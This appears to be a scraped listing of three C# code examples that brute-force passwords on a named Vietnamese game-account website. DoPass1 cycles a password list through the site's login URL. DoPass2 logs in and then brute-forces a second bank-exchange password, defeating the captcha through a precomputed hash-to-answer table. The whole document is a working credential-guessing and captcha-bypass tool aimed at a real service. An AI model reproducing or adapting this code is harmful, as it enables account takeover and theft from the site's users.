예제 #1
0
        public string DoPass2(string username, string pass1)
        {
            const string urlcapcha = "http://taikhoan.muhaiphong.net/CV/includes/captcha/CaptchaSecurityImages.php?characters=2";

            if (Login("http://taikhoan.muhaiphong.net/CV/Load_Content.php?Page=Login&username={0}&password={1}&login=1",
                      username, pass1, "Successfuly"))
            {
                foreach (var pass in PassList)
                {
                    string hash = MuWebResquest.GetHash(MuWebResquest.GetStream(urlcapcha));
                    string url  = string.Format(
                        "http://taikhoan.muhaiphong.net/CV/Load_Content.php?Page=Bank_Manager/MoneyExChange&security_code={0}&passcap2={1}&money1=0&TypeDoi=1&MoneyExChange=1", CapCha[hash], pass);
                    var htmlDocument = new HtmlDocument();
                    htmlDocument.LoadHtml(MuWebResquest.GetContent(url));
                    var selectSingleNode = htmlDocument.DocumentNode.SelectSingleNode("//*[@id='dialog-message1']");
                    if (selectSingleNode == null)
                    {
                        continue;
                    }
                    if (selectSingleNode.InnerText.Contains("thành công"))
                    {
                        return(pass);
                    }
                }
            }
            return(null);
        }
예제 #2
0
 public static bool Login(string url, string username, string password, string equal)
 {
     if (MuWebResquest.Login(url, username, password, equal) != null)
     {
         CookieContainer = MuWebResquest.CookieContainer;
         return(true);
     }
     return(false);
 }
예제 #3
0
 public string DoPass1(string username)
 {
     return((from pass in PassList let url = string.Format("http://taikhoan.muhaiphong.net/CV/Load_Content.php?Page=Login&username={0}&password={1}&login=1", username, pass) where MuWebResquest.GetContent(url) == "Successfuly" select pass).FirstOrDefault());
 }